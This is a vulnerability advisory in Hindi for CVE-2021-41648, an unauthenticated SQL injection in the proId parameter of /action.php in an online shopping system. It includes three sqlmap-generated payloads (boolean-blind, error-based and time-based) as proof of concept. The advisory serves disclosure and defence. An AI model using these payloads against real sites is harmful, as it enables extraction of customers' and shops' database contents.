CVE-2021-41648

CVE-2021-41648 ऑनलाइन-शॉपिंग-सिस्टम में SQL इंजेक्शन

online-shopping-system बिना प्रमाणीकरण के error/boolean-based blind तथा error-based SQL Injection हमलों के प्रति संवेदनशील है।

/action.php पृष्ठ पर proId पैरामीटर उपयोगकर्ता इनपुट को सैनिटाइज़ नहीं करता है, एक हमलावर अंतर्निहित MySQL डेटाबेस से संवेदनशील डेटा निकाल सकता है।

एप्लिकेशन का लिंक

online-shopping-system

प्रभावित घटक और पैरामीटर

URL: /action.php
PARAMETER: proId

Poc's

SQLMAP PAYLOADS

/action.php पृष्ठ पर proId पैरामीटर

Parameter: proId (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: proId=61 OR 17-7=10' OR NOT 4774=4774#&addToCart=1

Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: proId=61 OR 17-7=10' OR (SELECT 6869 FROM(SELECT COUNT(*),CONCAT(0x717a716271,(SELECT (ELT(6869=6869,1))),0x716a627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gfTu&addToCart=1

Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: proId=61 OR 17-7=10' AND (SELECT 2990 FROM (SELECT(SLEEP(5)))YhWy)-- xWNo&addToCart=1

यदि POC छवि अस्पष्ट है, तो कृपया GIF पर क्लिक करें जो बेहतर रिज़ॉल्यूशन में लोड होगी।

खोजकर्ता

Jason Colyvas
MOBIUSBINARY
September 21st, 2021